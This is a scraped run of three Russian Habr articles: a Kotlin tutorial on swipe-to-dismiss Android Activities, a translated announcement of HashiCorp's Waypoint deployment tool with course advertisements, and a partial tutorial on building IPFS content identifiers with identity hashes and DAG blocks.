*Примеры кода будут на Kotlin, потому, что он компактнее :)*
```
abstract class SlidingActivity : AppCompatActivity() {
private lateinit var root: View
override fun onPostCreate(savedInstanceState: Bundle?) {
super.onPostCreate(savedInstanceState)
root = getRootView() // попросим наследника дать нам корневой элемент иерархии
}
abstract fun getRootView(): View
}
```
Далее научимся слушать и реагировать на жесты пользователя. Можно было бы обернуть корневой элемент в свой контейнер и отслеживать действия в нём, но мы пойдем другим путем. В Activity можно переопределить метод `dispatchTouchEvent(...)`, который является первым обработчиком касаний экрана. Заготовку обработчика вы можете видеть ниже:
```
abstract class SlidingActivity : AppCompatActivity() {
private lateinit var root: View
override fun onPostCreate(savedInstanceState: Bundle?) {
super.onPostCreate(savedInstanceState)
root = getRootView()
}
abstract fun getRootView(): View
override fun dispatchTouchEvent(ev: MotionEvent): Boolean {
when (ev.action) {
MotionEvent.ACTION_DOWN -> {
// запомним начальные координаты
}
MotionEvent.ACTION_MOVE -> {
// определим, куда двигается палец и нужно ли сдвигать контент
}
MotionEvent.ACTION_UP, MotionEvent.ACTION_CANCEL -> {
// закроем Activity, если контент "сдвинут"
// на значительное расстояние или вернем все как было
}
}
// передать event всем остальным обработчикам
return super.dispatchTouchEvent(ev)
}
}
```
Понять, что пользователь ведет пальцем сверху вниз (чтобы "смахнуть" экран), не сложно: координата `y` всех следующих за начальной позицией событий увеличивается, а `x` может колебаться в каком-то незначительном интервале. С этим проблем, как правило, не возникает. Проблемы начинаются, когда на экране присутсвуют другие прокручиваемые элементы: ViewPager, RecyclerView, Toolbar с некоторым Behavior, их наличие нужно всегда иметь в виду:
```
abstract class SlidingActivity : AppCompatActivity() {
private lateinit var root: View
private var startX = 0f
private var startY = 0f
private var isSliding = false
private val GESTURE_THRESHOLD = 10
private lateinit var screenSize : Point
override fun onPostCreate(savedInstanceState: Bundle?) {
super.onPostCreate(savedInstanceState)
root = getRootView()
screenSize = Point().apply { windowManager.defaultDisplay.getSize(this) }
}
abstract fun getRootView(): View
override fun dispatchTouchEvent(ev: MotionEvent): Boolean {
var handled = false
when (ev.action) {
MotionEvent.ACTION_DOWN -> {
// запоминаем точку старта
startX = ev.x
startY = ev.y
}
MotionEvent.ACTION_MOVE -> {
// нужно определить, является ли текущий жест "смахиванием вниз"
if ((isSlidingDown(startX, startY, ev) && canSlideDown()) || isSliding) {
if (!isSliding) {
// момент, когда мы определили, что польователь "смахивает" экран
// начиная с этого жеста все последующие ACTION_MOVE мы будем
// воспринимать как "смахивание"
isSliding = true
onSlidingStarted()
// сообщим всем остальным обработчикам, что жест закончился
// и им не нужно больше ничего обрабатывать
ev.action = MotionEvent.ACTION_CANCEL
super.dispatchTouchEvent(ev)
}
// переместим контейнер на соответсвующую Y координату
// но не выше, чем точка старта
root.y = (ev.y - startY).coerceAtLeast(0f)
handled = true
}
}
MotionEvent.ACTION_UP, MotionEvent.ACTION_CANCEL -> {
if (isSliding) {
// если пользователь пытался "смахнуть" экран...
isSliding = false
onSlidingFinished()
handled = true
if (shouldClose(ev.y - startY)) {
// закрыть экран
} else {
// вернуть все как было
root.y = 0f
}
}
startX = 0f
startY = 0f
}
}
return if (handled) true else super.dispatchTouchEvent(ev)
}
private fun isSlidingDown(startX: Float, startY: Float, ev: MotionEvent): Boolean {
val deltaX = (startX - ev.x).abs()
if (deltaX > GESTURE_THRESHOLD) return false
val deltaY = ev.y - startY
return deltaY > GESTURE_THRESHOLD
}
abstract fun onSlidingFinished()
abstract fun onSlidingStarted()
abstract fun canSlideDown(): Boolean
private fun shouldClose(delta: Float): Boolean {
return delta > screenSize.y / 3
}
}
```
Обратите внимание, что мы добавили новый абстрактный метод `canSlideDown() : Boolean`. Им мы спрашиваем у наследника, является ли текущий момент подходящим, чтобы начать наш Scroll-ToDismiss жест. Например, если пользователь читает статью и находится где-то на середине текста, то жестом пальца сверху вниз он наверняка хочет прокрутить статью повыше, вместо того, чтобы закрыть весь экран.
Вторым важным моментом является тот факт, что наш обработчик перестает отдавать события дальше по цепочке (не вызвается `super.dispatchTouchEvent(ev)`) начиная с того момента, как определил нужный нам жест. Это нужно для того, чтобы все вложенные прокручиваемые виджеты перестали реагировать на движения пальца и двигать контент самостоятельно. Перед тем как обрубить цепочку обработки, мы посылаем `MotionEvent.ACTION_CANCEL`, чтобы вложенные элементы не рассматривали внезапно прервавшийся поток сообщений как "Long Click".
Доводим до готовности
=====================
Когда пользователь поднял палец, и мы поняли, что экран можно закрывать, мы не можем вызвать `Activity.finish()` в тот же момент. Точнее можем, конечно, но это будет выглядеть как внезапно закрывшийся экран. Что нам нужно сделать, так это анимировать `root` контейнер вниз экрана и уже после этого закрыть Activity:
```
private fun closeDownAndDismiss() {
val start = root.y
val finish = screenSize.y.toFloat()
val positionAnimator = ObjectAnimator.ofFloat(root, "y", start, finish)
positionAnimator.duration = 100
positionAnimator.addListener(object : Animator.AnimatorListener {
override fun onAnimationRepeat(animation: Animator) {}
override fun onAnimationEnd(animation: Animator) {
finish()
}
override fun onAnimationCancel(animation: Animator) {}
override fun onAnimationStart(animation: Animator) {}
})
positionAnimator.start()
}
```
Последнее, что нам осталось – сделать нашу Activity прозрачной, чтобы при смахивании был виден экран, который она перекрывает. Чтобы добиться такого эффекта, просто добавьте к теме вашей Activity такие атрибуты:
```
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:colorBackgroundCacheHint">@null</item>
<item name="android:windowFrame">@null</item>
<item name="android:windowContentOverlay">@null</item>
<item name="android:windowAnimationStyle">@null</item>
<item name="android:windowIsFloating">false</item>
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowNoTitle">true</item>
```
Чтобы Scroll-To-Dismiss выглядел еще круче, можно добавить эффект затемнения заднего экрана по мере прокрутки:
```
override fun onCreate(savedInstanceState: Bundle?) {
<...>
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
window.statusBarColor = Color.TRANSPARENT
}
windowScrim = ColorDrawable(Color.argb(0xE0, 0, 0, 0))
windowScrim.alpha = 0
window.setBackgroundDrawable(windowScrim)
}
private fun updateScrim() {
val progress = root.y / screenSize.y
val alpha = (progress * 255f).toInt()
windowScrim.alpha = 255 - alpha
}
```
По мере смещения корневого контейнера (пальцем или анимацией) просто вызваейте `updateScrim()` и фон будет динамически меняться.
Итог
====
Таким довольно простым способом мы получили не только требуемое поведение, но и возможность гибко влиять на поведение.
Например, при желании, можно научить нашу Activity смахиваться вверх или в бок. Жесты, перехватываемые на уровне Activity не ломают поведение внутренних компонентов, таких как ViewPager, RecyclerView и даже AppbarLayout + Custom Behavior.
Пользуйтесь на здоровье! | https://habr.com/ru/post/329896/ | null | ru | null |
# Быстрое развертывание любого приложения вместе с Waypoint
[](https://habr.com/ru/company/skillfactory/blog/523142/)
К публикуемым в нашем блоге авторским статьям и переводным материалам про лайфхаки/интересные находки мы решили добавить разбор нового проекта. Waypoint — опенсорсный проект, предоставляющий разработчикам последовательный рабочий процесс сборки, развертывания и релиза приложений на любой платформе. Waypoint позволяет разработчикам провести свои приложения от разработки до производственной среды в одном файле и развертывать приложения с помощью одной команды: `waypoint up`. Waypoint из коробки поддерживает Kubernetes, HashiCorp Nomad, Amazon ECS, Google Cloud Run, экземпляры контейнеров Azure, Docker, Buildpacks и не только. Читайте дальше, чтобы увидеть небольшой пример, узнать больше о функциях Waypoint и о проблемах, которые решает инструмент.
---
[Waypoint](https://www.waypointproject.io/) полностью расширяем и основан на системе плагинов, позволяющей работать с любым инструментом или платформой. После развертывания Waypoint предоставляет логирование и многое другое для проверки и отладки любых развертываний. Это программное обеспечение, которое вы самостоятельно загружаете и размещаете для управления развертыванием приложений, работающих на вашей инфраструктуре или платформах. Далее сам основатель HashiCorp расскажет о Waypoint подробнее.
Упрощение развертывания
-----------------------
Waypoint был создан нами по одной простой причине: разработчики хотят просто развертывать приложения. У HashiCorp есть возможность работать со всеми типами организаций и отдельных лиц нашего сообщества, что ставит нас перед проблемами, с которыми сталкиваются разработчики при развертывании приложений и в разрезе доступности для пользователей. Мы общаемся с десятками отдельных пользователей каждый день через GitHub Issues, дискуссионные форумы, электронную почту и т.д. Каждую неделю мы встречаемся более чем с 500 компаниями, чтобы обсудить их текущие разработки и операционные проблемы.
Благодаря взаимодействию мы увидели, что разработчики, особенно в организациях среднего и крупного размера, завалены сложностью: контейнеры, планировщики, файлы YAML, бессерверность и не только это. Сложность сделала приложения лучше во многих аспектах, но стоимость, которую видно по кривой обучения, требуется, чтобы просто развернуть первое приложение.
Другая проблема, которую мы увидели, зависит от приложения, ведь инструменты часто самые разные: Docker и kubectl для Kubernetes, HashiCorp Packer и Terraform для виртуальных машин, свои инструменты у каждой бессерверной платформы и т.д. Эта фрагментация снова создает проблему обучения отдельного человека. Для команд это уже проблемы последовательности и сложности.
С помощью Waypoint мы стремимся решить эти две проблемы. Waypoint предоставляет одну простую команду для развертывания любого приложения: «waypoint up». Рабочий процесс одинаков для любой платформы: Kubernetes, Nomad, EC2, Google Cloud Run и еще более десятка других будет поддерживаться к моменту запуска. Waypoint расширяется с помощью плагинов для любой логики сборки, развертывания и релиза. Разработчики просто хотят развертывать приложения. Waypoint просто делает это.
Функциональность
----------------
Waypoint предлагает ряд функций, предоставляющих рабочий процесс развертывания приложений, а также проверки и отладки развертывания. Эти функции делают Waypoint мощным инструментом для развертывания любых приложений на любой платформе.
* waypoint up: единственная команда для сборки, развертывания и релиза приложения. Waypoint использует файл конфигурации, хранящийся вместе с кодом приложения, для определения того, как будет работать. Подробнее о [жизненном цикле приложения Waypoint](https://www.waypointproject.io/docs/lifecycle) рассказывается в документации Waypoint.
* URL-адреса развертывания и приложения: Разворачиваемые с помощью Waypoint приложения получают общедоступный URL waypoint.run с действующим сертификатом TLS, который генерируется [Let's Encrypt](https://letsencrypt.org/). Используйте этот адрес, чтобы быстро просмотреть развернутые приложения и поделиться ими с другими людьми.
* Выполнение команд: выполняйте команды в контексте развертывания через waypoint exec. Вы можете использовать exec для открытия оболочки в вашем приложении, а через нее выполнять отладку, миграцию и другие задачи. [Здесь можно узнать больше о команде waypoint exec](https://waypointproject.io/docs/exec).
* Логи: Waypoint предоставляет доступ к моментальному снимку журналов вашего приложения в режиме реального времени. Эти журналы полезны, когда вам нужно отладить поведение развивающегося приложения. Однако они не заменяют комплексные решения для логирования, такие как Datadog или Splunk. Логи агрегируются и доступны через CLI и веб-интерфейс. [Здесь можно узнать больше о логах](https://waypointproject.io/docs/logs).
* Веб-интерфейс: в дополнение к простому и мощному CLI, в Waypoint есть веб-интерфейс, позволяющий просматривать сборки, развертывания и релизы проектов и приложений. Сегодня веб-интерфейс можно только читать. Мы непрерывно разрабатываем его и расширим функциональность в будущем. Более того, в графическом интерфейсе будут подсказки о том, как использовать интерфейс командной строки
* Плагины: логика сборки, развертывания и выпуска полностью расширяема с помощью плагинов. Waypoint поставляется с более чем десятком [встроенных плагинов](https://www.waypointproject.io/plugins), и любой желающий может [расширить функциональность Waypoint, написав свой собственный плагин](https://www.waypointproject.io/docs/extending-waypoint).
Пример рабочего процесса
------------------------
Покажем на примере различные особенности Waypoint. Пропущены некоторые шаги настройки, поэтому, если вы хотите попробовать полный пример самостоятельно, пожалуйста, ознакомьтесь с нашими [руководствами по началу работы](https://www.waypointproject.io/docs/getting-started). В этом примере мы развернем приложение в Kubernetes. Создадим рядом с приложением файл waypoint.hcl. Этот файл описывает все этапы жизненного цикла приложения.
```
project = "HashiCorp Waypoint"
app "waypoint-up" {
build {
use "docker" {}
registry {
use "docker" {
image = "hashicorp/wpmini"
tag = gitrefpretty()
}
}
}
deploy {
use "kubernetes" {
probe_path="/"
service_port=80
}
}
release {
use "kubernetes" {
load_balancer=true
port=80
}
}
}
```
Сборка, развертывание, релиз
----------------------------
Файл конфигурации Waypoint описывает три основных этапа жизненного цикла приложения: сборку, развертывание и релиз.
* Сборка берет исходный код приложения и конвертирует в артефакт. Процесс сборки может включать опциональную конфигурацию реестра для отправки собранного артефакта в реестр таким образом, чтобы он был доступен платформам развертывания. Например, на этом этапе исходный код конвертируется в образ Docker, EC2 AMI и т.д.
* Развертывание берет собранный на предыдущем этапе артефакт и помещает его на целевую платформу развертывания, делая развертывание доступным по URL или через другие внутренние методы
Релиз активирует развертывание и открывает его основному трафику. В будущем мы добавим в Waypoint поддержку продвижения приложений между средами, откат развертываний и релизов и постепенное перемещение трафика между серверами после релиза.
Поднимаем Waypoint
------------------
Команда waypoint up выполняет сборку, развертывание и релиз приложения. В конце выводится один или несколько адресов, по которым доступно приложение. Неважно, какое это приложение и для какой платформы, вы всегда можете ввести в терминал waypoint up для развертывания.
Можно выполнять этапы жизненного цикла отдельно друг от друга. Это полезно при взаимодействии с Github Actions и инструментами CI/CD, подобными CricleCI и Jenkins. Узнать больше об автоматизации рабочего процесса приложения с помощью Waypoint можно [здесь](https://waypointproject.io/docs/automating-execution).
Адреса приложения и развертывания
---------------------------------
Развернутые с помощью Waypoint приложения получают общедоступный URL вида waypoint.run с действительным сертификатом TLS, автоматически сгенерированным [Let's Encrypt](https://letsencrypt.org/). Используйте этот адрес, чтобы быстро посмотреть развернутые приложения и поделиться ими. Мы предоставляем этот URL через бесплатный общедоступный сервис компании HashiCorp. Функция необязательна и может быть отключена. В примере выше наш URL [recently-pleasant-duck--v1.waypoint.run](https://recently-pleasant-duck--v1.waypoint.run). Обратите внимание, что этот адрес уже не работает, приложение выполнялось только для этого поста в блоге. Вы можете посмотреть определенную версию развертывания по ссылке вида [recently-pleasant-duck--vN.waypoint.run](https://recently-pleasant-duck--vN.waypoint.run), где N — номер версии развертывания. Эта функция очень полезна, чтобы поделиться предрелизной версией вашего приложения с вашей командой.
Логирование в Waypoint
----------------------
Waypoint дает доступ к моментальному снимку логов приложения в режиме реального времени. Эти логи полезны, когда нужно отладить поведение развивающегося приложения. Однако они не заменяют комплексные решения для логирования. Логи агрегируются и доступны для просмотра через интерфейс командной строки и веб-интерфейс. Эта функция логов работает вне зависимости от платформы. Используете ли вы Kubernetes, EC2, Google Cloud Run или другую платформу, вы можете согласовано просматривать логи. С помощью пользовательского интерфейса можно просматривать логи нескольких развернутых на разных платформах приложений.
Waypoint exec
-------------
Вы можете выполнять команды в контексте развернутого приложения с помощью команды waypoint exec. Эта функция позволяет открывать оболочку, запускать скрипты и делать все, что вы хотите делать с вашими развертываниями. Как и логирование, waypoint exec работает на всех поддерживаемых Waypoint платформах.
Другие возможности
------------------
Этот список — только краткий обзор некоторых функций Waypoint. Waypoint может применяться для управления конфигурацией приложения через переменные окружения, интегрируется с вашей CI или Github. Рабочие пространства при меняются, чтобы создавать отдельные среды для отдельных веток. Кроме того, вы можете написать плагин и это еще не всё.Waypoint — это бренд нового проекта. Мы рассчитываем, что продолжим добавлять новую функциональность в ближайшие месяцы.
Waypoint и существующие приложения
----------------------------------
Если у вас уже есть приложение и рабочий процесс развертывания, вы можете почувствовать сомнение в том, сможете ли использовать…. Мы не ждем, что команды разработки немедленно перестроят и с нуля перестроят свой рабочий процесс для Waypoint. Но у нас есть плагин docker pull и возможность локального выполнения, позволяющая адаптировать Waypoint для приложения с уже настроенным рабочим процессом. Кроме того, у нас есть документация, которая описывает интеграцию Waypoint в другие CI: [CircleCI](https://www.waypointproject.io/docs/automating-execution/circle-ci) или [Jenkins](https://www.waypointproject.io/docs/automating-execution/jenkins). Эта функция позволяет просмотреть историю развертывания в интерфейсе Waypoint, выполнять команду exec, логирование, конфигурацию приложения и не только это. Приложив немного усилий, вы получаете преимущества Waypoint, пока обдумываете, хотите ли перейти на более управляемый плагин. Когда у вас много приложений, этот подход позволяет сочетать рабочие процессы и сравнивать их.
Полная расширяемость плагинами
------------------------------
Логика жизненного цикла полностью расширяемая. Waypoint работает на той же системе плагинов, что и Terraform. мы полагаем, что написать плагин для Waypoint так же просто (если не проще), чем для Terraform. В Waypoint встроено более десятка плагинов с самого начала. Мы надеемся и ожидаем, что со временем, с помощью сообщества открытого ПО, это число резко возрастет. У Terraform при запуске было около 6 провайдеров. Сегодня у Terraform 300 провайдеров. Мы верим, что такое возможно и для развертывания приложений. Если вам интересно написать плагин, пожалуйста, прочитайте наше [руководство для авторов плагинов](https://www.waypointproject.io/docs/extending-waypoint) и посмотрите [исходный код](https://github.com/hashicorp/waypoint/tree/main/builtin) встроенных плагинов Waypoint 0.1 на Github.
**Ссылки проекта**
* [Попробуйте Waypoint](https://www.waypointproject.io/docs/getting-started), посетив страницу начала работы, чтобы посмотреть демонстрацию быстрого старта или [выполнить инструкции](https://learn.hashicorp.com/waypoint), которые ссылаются на примеры приложений NodeJS, Python, Ruby, Java и многих других языках, фреймворках и облачных платформах.
* [Дайте нам обратную связь](https://discuss.hashicorp.com/c/waypoint/51). Waypoint как проект все еще находится на ранней стадии, и мы хотели бы обратиться к сообществу за обратной связью через дискуссионный форум HashiCorp. Вы также можете посетить [страницу сообщества](https://www.waypointproject.io/community) и узнать, как внести свой вклад в проект.
* [Напишите плагин](https://www.waypointproject.io/docs/extending-waypoint). Мы будем рады вашей помощи в продолжении улучшения Waypoint. Если у вас есть идея плагина Waypoint, опубликуйте ее на GitHub или предложите ее [на форуме Waypoint в HashiCorp](https://discuss.hashicorp.com/c/waypoint/51).
* [Поделитесь своим приложением](https://twitter.com/search?q=waypointup). Если вы развернули приложение с помощью Waypoint, сделайте снимок экрана, где оно работает, с URL-адресом Waypoint, и опубликуйте в Twitter с тегом #WaypointUp [HashiCorp](https://habr.com/ru/users/hashicorp/). Если вы хотите, чтобы другие люди увидели работу приложения, поделитесь URL Waypoint. Мы выделим приложения сообщества в ближайшие недели.
Специально для хабровчан мы сделали промокод **HABR**, дающий дополнительную скидку 10% к скидке указанной на баннере.
[](https://skillfactory.ru/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_banner&utm_term=regular&utm_content=habr_banner)
* [Обучение профессии Data Science с нуля](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=191020)
* [Онлайн-буткемп по Data Science](https://skillfactory.ru/data-science-camp?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSTCAMP&utm_term=regular&utm_content=191020)
* [Обучение профессии Data Analyst с нуля](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=191020)
* [Онлайн-буткемп по Data Analytics](https://skillfactory.ru/business-analytics-camp?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DACAMP&utm_term=regular&utm_content=191020)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=191020)
**Eще курсы**
* [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=191020)
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=191020)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=191020)
* [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=191020)
* [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=191020)
* [Профессия Java-разработчик с нуля](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=191020)
* [Курс по JavaScript](https://skillfactory.ru/javascript?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FJS&utm_term=regular&utm_content=191020)
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=191020)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=191020)
* [Продвинутый курс «Machine Learning Pro + Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=191020)
Рекомендуемые статьи
--------------------
* [Данные внутри нас: Чем занимаются биоинформатики?](https://habr.com/ru/company/skillfactory/blog/522444/)
* [Machine Learning и Computer Vision в добывающей промышленности](https://habr.com/ru/company/skillfactory/blog/522776/) | https://habr.com/ru/post/524124/ | null | ru | null |
# Межпланетная файловая система — тривиальный хеш (identity), DAG блок и Protocol Buffers
Недавно в IPFS добавили поддержу [тривиального (identity) хеша](https://github.com/ipfs/go-ipfs/issues/4697). В своей статье я расскажу о нём и покажу как его можно использовать.
> Напомню: InterPlanetary File System — это новая децентрализованная сеть обмена файлами (HTTP-сервер, [Content Delivery Network](https://ru.wikipedia.org/wiki/Content_Delivery_Network)). О ней я начал рассказ в статье ["Межпланетная файловая система IPFS"](https://habr.com/post/314768/).
Обычно при хешировании проходя через [хеш-функцию](https://ru.wikipedia.org/wiki/%D0%A5%D0%B5%D1%88%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) данные необратимо "сжимаются" и в результате получается короткий идентификатор. Этот идентификатор позволяет найти данные в сети и проверить их целостность.
[Тривиальный хеш](https://en.wikipedia.org/wiki/Hash_function#Trivial_hash_function) — это сами данные. Данные никак не изменяются и соответственно размер "хеша" равен размеру данных.
Тривиальный хеш выполняет ту же функцию что и [Data: URL](https://ru.wikipedia.org/wiki/Data:_URL). Идентификатор контента в этом случае содержит сами данные вместо хеша. Это позволяет вкладывать дочерние блоки в родительский делая их доступными сразу после получения родительского. Также можно включать данные сайта непосредственно в DNS запись.
Для примера закодируем текстовую строку "Привет мир" в [идентификатор контета](https://github.com/ipld/cid)(CID) с тривиальным хешем.
[](https://habrahabr.ru/post/423073/)
Структура идентификатора:
```
[префикс основания][varint версия CID][varint тип контента][varint ID хеша][varint длинна хеша][хеш]
```
Начнём с конца.
### [хеш]
Тривиальный хеш в нашем случае это сама строка. Переведём её в [HEX](https://ru.wikipedia.org/wiki/%D0%A8%D0%B5%D1%81%D1%82%D0%BD%D0%B0%D0%B4%D1%86%D0%B0%D1%82%D0%B5%D1%80%D0%B8%D1%87%D0%BD%D0%B0%D1%8F_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D1%81%D1%87%D0%B8%D1%81%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F).
```
"Привет мир" = 0x"D09F D180 D0B8 D0B2 D0B5 D182 20 D0BC D0B8 D180"
```
Это HEX этой строки в кодировке [utf-8](https://ru.wikipedia.org/wiki/UTF-8). Но чтоб браузер знал наверняка что это utf-8 строка добавим к ней в начале: `0xEFBBBF`. Это [маркер последовательности байтов](https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D1%80%D0%BA%D0%B5%D1%80_%D0%BF%D0%BE%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D0%B8_%D0%B1%D0%B0%D0%B9%D1%82%D0%BE%D0%B2)(BOM).
```
0x"EFBBBF D09F D180 D0B8 D0B2 D0B5 D182 20 D0BC D0B8 D180"
```
### [varint длинна хеша]
Теперь мы можем посчитать длину "хеша". Каждые два символа HEX это один байт. Соответственно длинна получившейся строки 22 байта. В HEX это будет `0x16`.
Добавляем `0x16` в начало строки.
```
0x"16 EFBBBF D09F D180 D0B8 D0B2 D0B5 D182 20 D0BC D0B8 D180"
```
### [varint ID хеша]
Теперь нам нужен идентификатор хеша. Тривиальный хеш или identity в [таблице хешей](https://github.com/multiformats/multihash/blob/master/hashtable.csv) имеет идентификатор `0x00`.
Добавляем `0x00` в начало строки.
```
0x"00 16 EFBBBF D09F D180 D0B8 D0B2 D0B5 D182 20 D0BC D0B8 D180"
```
Это уже [мультихеш](https://github.com/multiformats/multihash) часть идентификатора можно перекодировать HEX в Base58 и мультихеш готов. Но ipfs его не распознает вне идентификатора контента(CID).
Идём дальше.
### [varint тип контента]
Теперь заглянем в таблицу [multicodec](https://github.com/multiformats/multicodec/blob/master/table.csv) для того чтобы получить тип контента. В нашем случае это сырые(raw) данные и идентификатор соответственно `0x55`.
Добавляем `0x55` в начало строки.
```
0x"55 00 16 EFBBBF D09F D180 D0B8 D0B2 D0B5 D182 20 D0BC D0B8 D180"
```
### [varint версия CID]
Мы кодируем в формат [первой версии идентификатора контента](https://github.com/ipld/cid#cidv1). Поэтому добавляем 0x01.
Добавляем `0x01` в начало строки.
```
0x"01 55 00 16 EFBBBF D09F D180 D0B8 D0B2 D0B5 D182 20 D0BC D0B8 D180"
```
И так мы уже на финишной прямой.
### [префикс основания]
Он указывает какой вариант кодирования бинарных данных в текст использован.
#### HEX (F)
Мы можем использовать напрямую HEX сроку добавив в начале префикс основания HEX символ "F"
```
F01550016EFBBBFD09FD180D0B8D0B2D0B5D18220D0BCD0B8D180
```
Мы получили HEX идентификатор контента который содержит utf-8 строку: "Привет мир"
Тестируем: [/ipfs/F01550016EFBBBFD09FD180D0B8D0B2D0B5D18220D0BCD0B8D180](https://ipfs.io/ipfs/F01550016EFBBBFD09FD180D0B8D0B2D0B5D18220D0BCD0B8D180)
#### Base58btc (z)
Base58btc будет по короче поэтому
Нашу HEX строку мы переводим в base58btc. Можно воспользоваться [онлайн конвертером](http://lenschulwitz.com/base58).
```
0x"01 55 00 16 EFBBBF D09F D180 D0B8 D0B2 D0B5 D182 20 D0BC D0B8 D180" = "3NDGAEgXCxbPucFFCQc9s5ScqZjqVFNr56P" (base58btc)
```
Добавляем в начале к полученной строке символ префикс основания base58btc "z"
```
z3NDGAEgXCxbPucFFCQc9s5ScqZjqVFNr56P
```
Мы получили base58btc идентификатор контента который содержит utf-8 строку: "Привет мир"
Тестируем: [/ipfs/z3NDGAEgXCxbPucFFCQc9s5ScqZjqVFNr56P](https://ipfs.io/ipfs/z3NDGAEgXCxbPucFFCQc9s5ScqZjqVFNr56P)
### DAG блок
Текст это хорошо но для того чтоб закодировать HTML страницу нам надо вложить её данные в DAG блок директории.
Вот наш HTML:
```
***Привет мир***
```
Аналогично по инструкции выше получаем идентификатор контента в base58btc для этого текста:
```
zeExnPvBXdTRwCBhfkJ1fHFDaXpdW4ghvQjfaCRHYxtQnd3H4w1MPbLczSqyCqVo
```
Теперь пишем JSON файл:
```
{
"links": [{
"Cid": {
"/": "zeExnPvBXdTRwCBhfkJ1fHFDaXpdW4ghvQjfaCRHYxtQnd3H4w1MPbLczSqyCqVo"
},
"Name": "index.html"
}],
"data": "CAE="
}
```
1. В "data" указан тип DAG блока — каталог.
2. "links" это массив ссылок на файлы.
3. "Name" это соответственно имя файла.
4. "Cid" содержит идентификатор контента
Командой `ipfs dag put -f"protobuf"` конвертируем JSON в DAG блок через IPFS.
Я получил мультихеш: `QmXXixn4rCzGguhxQPjXQ8Mr5rdqwZfJTKkeB6DfZLt8EZ`
На этом этапе мы получили блок в котором каталог с одним файлом вписанным в блок.
Далее используя этот мультихеш выгружаем готовый блок
```
ipfs block get QmXXixn4rCzGguhxQPjXQ8Mr5rdqwZfJTKkeB6DfZLt8EZ > block.dag
```
Переводим содержимое block.dag в HEX:
```
0x"123F0A2F0155002BEFBBBF3C623E3C693E3C753ED09FD180D0B8D0B2D0B5D18220D0BCD0B8D1803C2F753E3C2F693E3C2F623E120A696E6465782E68746D6C18000A020801"
```
Добавляем:
1. версию CID(0x01)
2. тип содержимого DAG (0x70)
3. хеш тривиальный (0x00)
4. размер данных 69 байт (0x45)
```
0x"01 70 00 45 123F0A2F0155002BEFBBBF3C623E3C693E3C753ED09FD180D0B8D0B2D0B5D18220D0BCD0B8D1803C2F753E3C2F693E3C2F623E120A696E6465782E68746D6C18000A020801"
```
Конвертируем в Base58btc и добавляем префикс "z"
```
z6S3Z3W1zuRxio8AJC41jRTdyU9pZWnU6sNbvyGyypEdD8JVNdW42ZmGYWKWGbVDELLvJNWcMspaZMUPZKt7JQmhdyXCqq7j37GL
```
Таким образом мы получили идентификатор контента с каталогом в котором html страница index.html с текстом "Привет мир".
Тестируем: [/ipfs/z6S3Z3W1zuRxio8AJC41jRTdyU9pZWnU6sNbvyGyypEdD8JVNdW42ZmGYWKWGbVDELLvJNWcMspaZMUPZKt7JQmhdyXCqq7j37GL/](https://ipfs.io/ipfs/z6S3Z3W1zuRxio8AJC41jRTdyU9pZWnU6sNbvyGyypEdD8JVNdW42ZmGYWKWGbVDELLvJNWcMspaZMUPZKt7JQmhdyXCqq7j37GL/)
Далее этот хеш также можно вложить в другой блок либо записать в DNS dnslink запись. Так в одном блоке можно уместить небольшой простенький сайт.
### DAG блок и Protocol Buffers
DAG блок можно также собрать в ручную. DAG блок это данные в формате [Protocol Buffers](https://developers.google.com/protocol-buffers/docs/encoding). Верхний слой это [merkledag.proto](https://github.com/ipfs/go-merkledag/blob/2a2b14cb9dbd033a684335ad27af638c30178bd3/pb/merkledag.proto) у которого в Data находится [unixfs.proto](https://github.com/ipfs/go-unixfs/blob/08716b95ba554c9494d01212fabe6bf9da678f6b/pb/unixfs.proto).
#### Protocol Buffers
Любой протобуфер начинается с varint идентификатора поля. Часто идентификатор занимает один байт так как его общее значение меньше 0x80. В нашем случае первый байт 0x12. Младшие 3 бита этого поля это тип. Остальное ID заданный в proto файле.
##### Length-delimited
Расшифровываем идентификатор:
```
0x12 & 0x07 = 2 (Тип: Length-delimited)
